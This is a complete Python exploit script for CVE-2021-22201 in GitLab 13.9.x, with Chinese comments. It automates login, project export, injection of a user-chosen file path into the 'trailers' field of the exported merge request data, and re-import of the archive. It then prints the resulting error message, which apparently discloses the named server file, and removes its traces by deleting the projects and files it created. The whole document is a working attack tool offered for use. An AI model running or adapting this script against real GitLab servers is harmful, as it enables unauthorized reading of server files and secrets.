CVE-2021-22201.py

import os
import re
import sys
import tarfile
import requests

from json import loads
from uuid import uuid1
from time import sleep
from shutil import rmtree

LOGIN_URI = '/users/sign_in'
CREATE_URI = '/projects/new'
IMPORT_API = '/api/v4/projects/%s/import'
PROJECT_URI = '/%s/'
NEW_PROJECT = '/projects/new'
BRANCH_URI = '/%s/%s/-/branches/new'
PATH = os.path.dirname(__file__)
HEADERS = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
}

proxy = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
session = requests.session()
base_url = None
token = None
namespace_id = None
project_name = None
project_id = None
branch_name = None

token_reg = re.compile(r'name="authenticity_token" value="(?P<token>.*?)"')
project_reg = re.compile(r'.*?ID: (\d+)')

def banner():
    print("""
---------- CVE-2021-22201 ----------
---------- 13.9.0 <= Gitlab < 13.9.5
---------- Author: Search?=Null ----

Usage: python3 CVE-2021-22201.py url username password
        """)

def get_token(uri, regex = False):
    """
    获取csrf-token
    """
    global token
    url = base_url + uri
    req = session.get(url, headers = HEADERS)
    req_text = req.text
    try:
        if not regex:
            token = token_reg.search(req_text).group('token')
        else:
            token = re.search(regex, req_text).group(1)
        print(f'[+] Get token: {token}')
    except AttributeError:
        print('[-] Line 60 Failed to obtain token.')
        sys.exit(0)
    except Exception as e:
        print(f'[-] Line 63 Error: {e}')

def login(user, pass_):
    """
    登录
    """
    url = base_url + LOGIN_URI
    get_token(LOGIN_URI)
    data = {
        'utf8': '✓',
        'authenticity_token': token,
        'user[login]': user,
        'user[password]': pass_,
        'user[remember_me]': 0
    }
    try:
        req = session.post(url, headers = HEADERS, data = data, allow_redirects = False)
        if req.status_code == 302 and 'redirected' in req.text:
            print('[+] Login Success.')
        elif req.status_code == 200 and 'Invalid Login or password' in req.text:
            print('[-] Line 83: Invalid Login or password.')
    except Exception as e:
        print('[-] Line 85 Login failed. ' + str(e))
    create_project()

def create_project():
    """
    创建项目, 项目名采用随机字符
    """
    global PROJECT_URI
    global project_name
    global project_id
    global namespace_id
    url = base_url + CREATE_URI[:9]
    get_token(CREATE_URI)
    project_name = str(uuid1())[:8]
    r = session.get(base_url + CREATE_URI, headers = HEADERS)
    namespace_id = re.search(r'<input value="(\d+)" type="hidden" name="project\[namespace_id\]" id="project_namespace_id"', r.text).group(1)
    data = {
        'utf8': '✓',
        'authenticity_token': token,
        'project[ci_cd_only]': 'false',
        'project[name]': project_name,
        'project[namespace_id]': namespace_id,
        'project[path]': project_name,
        'project[description]': project_name,
        'project[visibility_level]': 20,
        'project[initialize_with_readme]': 1
    }
    try:
        req = session.post(url, headers = HEADERS, data = data, allow_redirects = False)
        if req.status_code == 302 and 'redirected' in req.text:
            print(f'[+] Create project {project_name} success.')
        get_project_id(project_name)
    except Exception as e:
        print(f'[-] Line 118 ERROR: {e}.')
    create_branch()

def get_project_id(project_name):
    url = base_url + PROJECT_URI % (username) + project_name
    try:
        req_project = session.get(url, headers = HEADERS)
        project_id = project_reg.search(req_project.text).group(1)
        print(f'[+] Project {project_name} ID: {project_id}')
        return project_id
    except Exception as e:
        print(f'[-] Line 129 Error： {e}')

def create_branch():
    """
    创建分支
    """
    global branch_name
    uri = BRANCH_URI % (username, project_name)
    get_token(uri)
    url = (base_url + uri).replace('/new', '')
    branch_name = str(uuid1())[:8]
    data = {
        'utf8': '✓',
        'authenticity_token': token,
        'branch_name': branch_name,
        'ref': 'master'
    }
    try:
        req = session.post(url, headers = HEADERS, data = data, allow_redirects = False)
        if req.status_code == 302 and 'redirected' in req.text:
            print(f'[+] Create branch {branch_name} success.')
    except Exception as e:
        print(f'[-] Line 151 Error: {e}')
    newfile_uri = f'/{username}/{project_name}/new/{branch_name}/'
    get_token(newfile_uri)
    create_file(f'/{username}/{project_name}/-/create/{branch_name}')


def create_file(uri):
    """
    新分支添加文件
    """
    url = base_url + uri
    filename = str(uuid1())[:8]
    data = {
        'utf8': '✓',
        'authenticity_token': token,
        'file_name': filename,
        'commit_message': 'Add+new+file',
        'branch_name': branch_name,
        'original_branch': branch_name,
        'content': str(uuid1())
    }
    try:
        req = session.post(url, headers = HEADERS, data = data, allow_redirects=False)
        if req.status_code == 302 and 'redirected' in req.text:
            print(f'[+] Create file {filename} success.')
    except Exception as e:
        print(f'[-] Line 177 Error: {e}.')
    merge_request()

def merge_request():
    """
    添加PR合并请求
    """
    uri = PROJECT_URI % (username) + project_name + '/-/merge_requests/new'
    # print(uri)
    get_token(uri, r'name="csrf-token" content="(.*?)"')
    params = {
        'utf8': '✓',
        'merge_request[source_project_id]': project_id,
        'merge_request[source_branch]': branch_name,
        'merge_request[target_project_id]': project_id,
        'merge_request[target_branch]': 'master'
    }
    try:
        req = session.get(base_url + uri, headers = HEADERS, params = params)
        diff_head_sha = re.search(r'name="merge_request_diff_head_sha" id="merge_request_diff_head_sha" value="(.*?)"', req.text).group(1)
    except Exception as e:
        print(f'[-] Line 198 Error: {e}')
        sys.exit(0)
    merge_url = base_url + uri.replace('/new', '')
    data = {
        'utf8': '✓',
        'authenticity_token': token,
        'merge_request[title]': 'Add new file',
        'merge_request_diff_head_sha': diff_head_sha,
        'merge_request[description]': '',
        'merge_request[assignee_ids][]': 0,
        'merge_request[reviewer_ids][]': 0,
        'merge_request[label_ids][]': '',
        'merge_request[force_remove_source_branch]': 0,
        'merge_request[force_remove_source_branch]': 1,
        'merge_request[squash]': 0,
        'merge_request[lock_version]': 0,
        'merge_request[source_project_id]': project_id,
        'merge_request[source_branch]': branch_name,
        'merge_request[target_project_id]': project_id,
        'merge_request[target_branch]': 'master'
    }
    try:
        merge_req = session.post(merge_url, headers = HEADERS, data = data, allow_redirects = False)
        if merge_req.status_code == 302 and 'redirected' in merge_req.text:
            print('[+] Merge request success.')
    except Exception as e:
        print(f'[-] Line 189 Error: {e}')
        sys.exit(0)
    export_project()

def export_project():
    """
    导出项目
    """
    uri = PROJECT_URI % (username) + project_name + '/edit'
    get_token(uri)
    data = {
        '_method': 'POST',
        'authenticity_token': token
    }
    url = base_url + uri.replace('edit', 'export')
    try:
        req = session.post(url, headers = HEADERS, data = data, allow_redirects = False)
        if req.status_code == 302 and 'redirected' in req.text:
            print('[+] Export project success.')
            # 延时两秒后下载导出的压缩包
            sleep(5)
    except Exception as e:
        print(f'[-] Line 246 Error: {e}')
    download_export()

def download_export():
    url = base_url + PROJECT_URI % (username) + project_name + '/download_export'
    filename = f'{username}_{project_name}_export.tar.gz'
    try:
        req = session.get(url, headers = HEADERS)
        with open(os.path.join(PATH, filename), 'wb') as fp:
            fp.write(req.content)
        print(f'[+] Download {filename} success.')
    except Exception as e:
        print(f'[-] Line 258 Error: {e}')
    delete_project(project_name)
    add_payload(os.path.join(PATH, filename))

def delete_project(name):
    uri = PROJECT_URI % (username) + name
    get_token(uri)
    url = base_url + uri
    data = {
        '_method': 'delete',
        'authenticity_token': token
    }
    try:
        req = session.post(url, headers = HEADERS, data = data, allow_redirects = False)
        if req.status_code == 302 and 'redirected' in req.text:
            print(f'[+] Delete project {name} success.')
    except Exception as e:
        print(f'[-] Line 275 Error: {e}')

def add_payload(filepath):
    payload = input('file > ')
    try:
        output_path = os.path.join(PATH, 'export')
        if not os.path.exists(output_path):
            t = tarfile.open(filepath)
            os.mkdir(output_path)
            t.extractall(path = output_path)
            t.close()
            file_path = os.path.join(output_path, 'tree', 'project', 'merge_requests.ndjson')
            with open(file_path, 'r') as f:
                content = re.sub(r'"trailers":.*?}]', '"trailers":"%s"}]' % payload, f.read())
            with open(file_path, 'w+') as fp:
                fp.write(content)
            # with tarfile.open(os.path.join(PATH, 'payload.tar.gz'), 'w:gz') as tar:
            payload_file = tarfile.open(os.path.join(PATH, 'payload.tar.gz'), 'w:gz')
            payload_file.add(output_path, arcname = '.')
            payload_file.close()
            print('[+] Add payload success.')
        os.remove(filepath)
    except Exception as e:
        print(f'[-] Line 298 Error: {e}')
    import_project()

def import_project():
    get_token(NEW_PROJECT)
    url = base_url + '/import/gitlab_project'
    name = str(uuid1())[:8]
    data = {
        'utf8': '✓',
        'authenticity_token': token,
        'name': name,
        'namespace_id': namespace_id,
        'path': name,
    }
    f = open(os.path.join(PATH, 'payload.tar.gz'), 'rb')
    project_file = {'file': f}
    try:
        req = session.post(url, headers = HEADERS, data = data, files = project_file)
        if req.status_code == 302 and 'redirected' in req.text:
            print('[+] Uploaded project success.')
    except Exception as e:
        print(f'[-] Line 319 Error: {e}')
    f.close()
    sleep(5)
    id_ = get_project_id(name)
    url = base_url + IMPORT_API % (str(id_))
    try:
        r = session.get(url, headers = HEADERS)
        if r.status_code == 200 and 'JSON::Schema::JsonParseError' in r.text:
            content = loads(r.text)
    except Exception as e:
        print(f'[-] Line 329 Error: {e}')
    delete_project(name)
    print('\n\n' + content['failed_relations'][0]['exception_message'] + '\n\n')
    delete_all()


def delete_all():
    try:
        os.unlink(os.path.join(PATH, 'payload.tar.gz'))
        print('[+] Deleteed file payload.tar.gz success.')
        rmtree(os.path.join(PATH, 'export'), ignore_errors = True)
        print('[+] Deleteed dir export succcess.')
    except Exception as e:
        print(f'[-] Line 342 Error: {e}')

def main():
    banner()
    if len(sys.argv) < 4:
        sys.exit(0)
    else:
        global username
        url = sys.argv[1]
        username = sys.argv[2]
        password = sys.argv[3]
    if not url.startswith('http://') or not url.startswith('https://'):
        global base_url
        base_url = 'http://' + url.rstrip('/')
    # print(url)
    login(username, password)


if __name__ == '__main__':
    main()